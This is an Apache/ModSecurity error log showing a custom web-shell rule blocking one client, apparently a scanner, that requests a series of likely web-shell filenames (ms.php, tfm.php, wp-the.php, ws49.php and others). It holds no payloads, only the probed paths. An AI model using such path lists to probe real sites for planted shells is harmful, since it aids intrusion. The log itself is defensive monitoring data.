[Thu Mar 26 11:11:47.068105 2026] [:error] [pid 19711:tid 19755] [client 20.203.196.218:1341] [client 20.203.196.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ms.php"] [unique_id "acSj82j3l1y81GYfluRh7gAAAEY"]
[Thu Mar 26 11:11:47.720657 2026] [:error] [pid 19710:tid 19737] [client 20.203.196.218:1813] [client 20.203.196.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ms.php"] [unique_id "acSj8wVEWP8Ar68Njk7FrAAAAA8"]
[Thu Mar 26 11:11:48.324176 2026] [:error] [pid 19712:tid 19794] [client 20.203.196.218:55766] [client 20.203.196.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ms.php"] [unique_id "acSj9NWhKhRNqm23vFPzdAAAAJI"]
[Thu Mar 26 11:11:49.127211 2026] [:error] [pid 31778:tid 31803] [client 20.203.196.218:1776] [client 20.203.196.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/hplfuns.php"] [unique_id "acSj9Q3kybI2o-xasmCF6gAAAco"]
[Thu Mar 26 11:11:49.625685 2026] [:error] [pid 19818:tid 19828] [client 20.203.196.218:55758] [client 20.203.196.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/hplfuns.php"] [unique_id "acSj9czaSnm3d1BeM5X0UQAAAMg"]
[Thu Mar 26 11:11:50.185991 2026] [:error] [pid 31778:tid 31814] [client 20.203.196.218:1332] [client 20.203.196.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/hplfuns.php"] [unique_id "acSj9g3kybI2o-xasmCF8AAAAdU"]
[Thu Mar 26 11:11:50.847731 2026] [:error] [pid 19818:tid 19842] [client 20.203.196.218:65166] [client 20.203.196.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/hplfuns.php"] [unique_id "acSj9szaSnm3d1BeM5X0VQAAANY"]
[Thu Mar 26 11:11:51.399460 2026] [:error] [pid 31670:tid 31692] [client 20.203.196.218:1987] [client 20.203.196.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/155.php"] [unique_id "acSj9zXVthXxCnWjOTSsCQAAAVQ"]
[Thu Mar 26 11:11:51.994128 2026] [:error] [pid 19711:tid 19753] [client 20.203.196.218:1816] [client 20.203.196.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/155.php"] [unique_id "acSj92j3l1y81GYfluRh9gAAAEQ"]
[Thu Mar 26 11:11:52.612077 2026] [:error] [pid 19711:tid 19755] [client 20.203.196.218:58927] [client 20.203.196.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/155.php"] [unique_id "acSj-Gj3l1y81GYfluRh-gAAAEY"]
[Thu Mar 26 11:11:53.118313 2026] [:error] [pid 19711:tid 19750] [client 20.203.196.218:57433] [client 20.203.196.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/155.php"] [unique_id "acSj-Wj3l1y81GYfluRh_QAAAEE"]
[Thu Mar 26 11:11:53.654936 2026] [:error] [pid 19818:tid 19843] [client 20.203.196.218:1330] [client 20.203.196.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/d12.php"] [unique_id "acSj-czaSnm3d1BeM5X0WgAAANc"]
[Thu Mar 26 11:11:54.515683 2026] [:error] [pid 31670:tid 31682] [client 20.203.196.218:55803] [client 20.203.196.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/d12.php"] [unique_id "acSj-jXVthXxCnWjOTSsDgAAAUo"]
[Thu Mar 26 11:11:55.107577 2026] [:error] [pid 31717:tid 31724] [client 20.203.196.218:58939] [client 20.203.196.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/d12.php"] [unique_id "acSj-7-SCF7YDISDX4-akgAAAYI"]
[Thu Mar 26 11:11:55.971741 2026] [:error] [pid 60829:tid 60846] [client 20.203.196.218:56326] [client 20.203.196.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/d12.php"] [unique_id "acSj-_TdjHKeZokybaRinAAAAQ8"]
[Thu Mar 26 11:11:56.848589 2026] [:error] [pid 31780:tid 31827] [client 20.203.196.218:1754] [client 20.203.196.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tfm.php"] [unique_id "acSj_JJDwZsy5O4ZXEgCdAAAAgc"]
[Thu Mar 26 11:11:58.263354 2026] [:error] [pid 19712:tid 19797] [client 20.203.196.218:57454] [client 20.203.196.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tfm.php"] [unique_id "acSj_tWhKhRNqm23vFPzegAAAJU"]
[Thu Mar 26 11:11:59.205366 2026] [:error] [pid 60829:tid 60847] [client 20.203.196.218:60558] [client 20.203.196.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tfm.php"] [unique_id "acSj__TdjHKeZokybaRioAAAARA"]
[Thu Mar 26 11:12:00.664543 2026] [:error] [pid 60829:tid 60852] [client 20.203.196.218:55791] [client 20.203.196.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tfm.php"] [unique_id "acSkAPTdjHKeZokybaRioQAAARU"]
[Thu Mar 26 11:12:33.199621 2026] [proxy_fcgi:error] [pid 19712:tid 19781] [client 20.203.196.218:52996] AH01071: Got error 'Primary script unknown'
[Thu Mar 26 11:12:33.710749 2026] [proxy_fcgi:error] [pid 19712:tid 19797] [client 20.203.196.218:52996] AH01071: Got error 'Primary script unknown'
[Thu Mar 26 11:12:33.973151 2026] [proxy_fcgi:error] [pid 19712:tid 19786] [client 20.203.196.218:52996] AH01071: Got error 'Primary script unknown'
[Thu Mar 26 11:12:34.238511 2026] [proxy_fcgi:error] [pid 19712:tid 19787] [client 20.203.196.218:52996] AH01071: Got error 'Primary script unknown'
[Thu Mar 26 11:12:34.476323 2026] [proxy_fcgi:error] [pid 19712:tid 19776] [client 20.203.196.218:52996] AH01071: Got error 'Primary script unknown'
[Thu Mar 26 11:12:34.767102 2026] [proxy_fcgi:error] [pid 19712:tid 19793] [client 20.203.196.218:52996] AH01071: Got error 'Primary script unknown'
[Thu Mar 26 11:12:35.025092 2026] [proxy_fcgi:error] [pid 19712:tid 19800] [client 20.203.196.218:52996] AH01071: Got error 'Primary script unknown'
[Thu Mar 26 11:12:35.264675 2026] [proxy_fcgi:error] [pid 19712:tid 19784] [client 20.203.196.218:52996] AH01071: Got error 'Primary script unknown'
[Thu Mar 26 11:12:35.983173 2026] [proxy_fcgi:error] [pid 19712:tid 19777] [client 20.203.196.218:52996] AH01071: Got error 'Primary script unknown'
[Thu Mar 26 11:12:36.350645 2026] [proxy_fcgi:error] [pid 19712:tid 19799] [client 20.203.196.218:52996] AH01071: Got error 'Primary script unknown'
[Thu Mar 26 11:12:36.586317 2026] [:error] [pid 19712:tid 19789] [client 20.203.196.218:52996] [client 20.203.196.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-the.php"] [unique_id "acSkJNWhKhRNqm23vFPzqQAAAI0"]
[Thu Mar 26 11:12:37.974209 2026] [:error] [pid 31670:tid 31682] [client 20.203.196.218:58903] [client 20.203.196.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-the.php"] [unique_id "acSkJTXVthXxCnWjOTSsSAAAAUo"]
[Thu Mar 26 11:12:39.384961 2026] [:error] [pid 19818:tid 19827] [client 20.203.196.218:1753] [client 20.203.196.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-the.php"] [unique_id "acSkJ8zaSnm3d1BeM5X0ngAAAMc"]
[Thu Mar 26 11:12:41.002213 2026] [:error] [pid 31780:tid 31837] [client 20.203.196.218:53039] [client 20.203.196.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-the.php"] [unique_id "acSkKZJDwZsy5O4ZXEgCqwAAAhA"]
[Thu Mar 26 11:12:41.928722 2026] [:error] [pid 19818:tid 19830] [client 20.203.196.218:53010] [client 20.203.196.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/torsa1.php"] [unique_id "acSkKczaSnm3d1BeM5X0pAAAAMo"]
[Thu Mar 26 11:12:42.613964 2026] [:error] [pid 19712:tid 19786] [client 20.203.196.218:1756] [client 20.203.196.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/torsa1.php"] [unique_id "acSkKtWhKhRNqm23vFPzrgAAAIo"]
[Thu Mar 26 11:12:43.284294 2026] [:error] [pid 19818:tid 19843] [client 20.203.196.218:65211] [client 20.203.196.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/torsa1.php"] [unique_id "acSkK8zaSnm3d1BeM5X0qwAAANc"]
[Thu Mar 26 11:12:43.906881 2026] [:error] [pid 31778:tid 31812] [client 20.203.196.218:52999] [client 20.203.196.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/torsa1.php"] [unique_id "acSkKw3kybI2o-xasmCGGQAAAdM"]
[Thu Mar 26 11:12:44.489008 2026] [:error] [pid 19818:tid 19830] [client 20.203.196.218:1846] [client 20.203.196.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/abc.php"] [unique_id "acSkLMzaSnm3d1BeM5X0rgAAAMo"]
[Thu Mar 26 11:12:45.100937 2026] [:error] [pid 19818:tid 19821] [client 20.203.196.218:1757] [client 20.203.196.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/abc.php"] [unique_id "acSkLczaSnm3d1BeM5X0sAAAAME"]
[Thu Mar 26 11:12:45.894842 2026] [:error] [pid 19818:tid 19835] [client 20.203.196.218:53023] [client 20.203.196.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/abc.php"] [unique_id "acSkLczaSnm3d1BeM5X0tAAAAM8"]
[Thu Mar 26 11:12:46.589970 2026] [:error] [pid 19818:tid 19836] [client 20.203.196.218:1744] [client 20.203.196.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/abc.php"] [unique_id "acSkLszaSnm3d1BeM5X0uQAAANA"]
[Thu Mar 26 11:12:47.148733 2026] [:error] [pid 19818:tid 19820] [client 20.203.196.218:56373] [client 20.203.196.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/nw.php"] [unique_id "acSkL8zaSnm3d1BeM5X0vgAAAMA"]
[Thu Mar 26 11:12:47.941949 2026] [:error] [pid 31778:tid 31809] [client 20.203.196.218:1735] [client 20.203.196.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/nw.php"] [unique_id "acSkLw3kybI2o-xasmCGHAAAAdA"]
[Thu Mar 26 11:12:49.272806 2026] [:error] [pid 31670:tid 31694] [client 20.203.196.218:58900] [client 20.203.196.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/nw.php"] [unique_id "acSkMTXVthXxCnWjOTSsSgAAAVY"]
[Thu Mar 26 11:12:49.970387 2026] [:error] [pid 31670:tid 31689] [client 20.203.196.218:65165] [client 20.203.196.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/nw.php"] [unique_id "acSkMTXVthXxCnWjOTSsUAAAAVE"]
[Thu Mar 26 11:12:51.395197 2026] [:error] [pid 31780:tid 31838] [client 20.203.196.218:1762] [client 20.203.196.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/44.php"] [unique_id "acSkM5JDwZsy5O4ZXEgCuAAAAhE"]
[Thu Mar 26 11:12:52.073037 2026] [:error] [pid 31780:tid 31844] [client 20.203.196.218:55783] [client 20.203.196.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/44.php"] [unique_id "acSkNJJDwZsy5O4ZXEgCuQAAAhc"]
[Thu Mar 26 11:12:53.832335 2026] [:error] [pid 31778:tid 31810] [client 20.203.196.218:58882] [client 20.203.196.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/44.php"] [unique_id "acSkNQ3kybI2o-xasmCGIQAAAdE"]
[Thu Mar 26 11:12:54.928871 2026] [:error] [pid 19712:tid 19780] [client 20.203.196.218:1297] [client 20.203.196.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/44.php"] [unique_id "acSkNtWhKhRNqm23vFPzsgAAAIQ"]
[Thu Mar 26 11:12:55.862445 2026] [:error] [pid 31778:tid 31795] [client 20.203.196.218:55770] [client 20.203.196.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws49.php"] [unique_id "acSkNw3kybI2o-xasmCGJgAAAcI"]
[Thu Mar 26 11:12:56.865000 2026] [:error] [pid 19818:tid 19822] [client 20.203.196.218:1321] [client 20.203.196.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws49.php"] [unique_id "acSkOMzaSnm3d1BeM5X00AAAAMI"]
[Thu Mar 26 11:12:57.529811 2026] [:error] [pid 31780:tid 31827] [client 20.203.196.218:58563] [client 20.203.196.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws49.php"] [unique_id "acSkOZJDwZsy5O4ZXEgCwQAAAgc"]
[Thu Mar 26 11:12:58.150560 2026] [:error] [pid 31717:tid 31740] [client 20.203.196.218:58907] [client 20.203.196.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws49.php"] [unique_id "acSkOr-SCF7YDISDX4-aqgAAAZI"]
[Thu Mar 26 11:12:59.102165 2026] [:error] [pid 19711:tid 19756] [client 20.203.196.218:56376] [client 20.203.196.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/amp.php"] [unique_id "acSkO2j3l1y81GYfluRiLAAAAEc"]
[Thu Mar 26 11:12:59.663139 2026] [:error] [pid 31780:tid 31841] [client 20.203.196.218:57844] [client 20.203.196.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/amp.php"] [unique_id "acSkO5JDwZsy5O4ZXEgCygAAAhQ"]
[Thu Mar 26 11:13:00.347943 2026] [:error] [pid 60829:tid 60836] [client 20.203.196.218:55776] [client 20.203.196.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/amp.php"] [unique_id "acSkPPTdjHKeZokybaRizwAAAQU"]
[Thu Mar 26 11:13:01.069533 2026] [:error] [pid 31780:tid 31840] [client 20.203.196.218:65193] [client 20.203.196.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/amp.php"] [unique_id "acSkPZJDwZsy5O4ZXEgCzQAAAhM"]
[Thu Mar 26 11:13:01.716858 2026] [:error] [pid 60829:tid 60851] [client 20.203.196.218:53041] [client 20.203.196.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/install.php"] [unique_id "acSkPfTdjHKeZokybaRi0QAAARQ"]
[Thu Mar 26 11:13:02.290480 2026] [:error] [pid 19712:tid 19784] [client 20.203.196.218:58902] [client 20.203.196.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/install.php"] [unique_id "acSkPtWhKhRNqm23vFPzuQAAAIg"]
[Thu Mar 26 11:13:02.793882 2026] [:error] [pid 31778:tid 31803] [client 20.203.196.218:53008] [client 20.203.196.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/install.php"] [unique_id "acSkPg3kybI2o-xasmCGKQAAAco"]
[Thu Mar 26 11:13:03.502008 2026] [:error] [pid 19818:tid 19827] [client 20.203.196.218:1310] [client 20.203.196.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/install.php"] [unique_id "acSkP8zaSnm3d1BeM5X01AAAAMc"]
[Thu Mar 26 11:13:04.194233 2026] [:error] [pid 19818:tid 19832] [client 20.203.196.218:65184] [client 20.203.196.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a4.php"] [unique_id "acSkQMzaSnm3d1BeM5X01QAAAMw"]
[Thu Mar 26 11:13:04.786207 2026] [:error] [pid 19818:tid 19831] [client 20.203.196.218:58898] [client 20.203.196.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a4.php"] [unique_id "acSkQMzaSnm3d1BeM5X02AAAAMs"]
[Thu Mar 26 11:13:05.441317 2026] [:error] [pid 31778:tid 31796] [client 20.203.196.218:55775] [client 20.203.196.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/a4.php"] [unique_id "acSkQQ3kybI2o-xasmCGLQAAAcM"]
